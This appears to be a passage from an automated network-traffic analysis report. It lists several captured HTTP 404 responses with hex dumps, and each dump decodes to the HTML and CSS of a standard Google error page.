30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:16 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:17 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:18 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:22 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:23 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:09:24 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
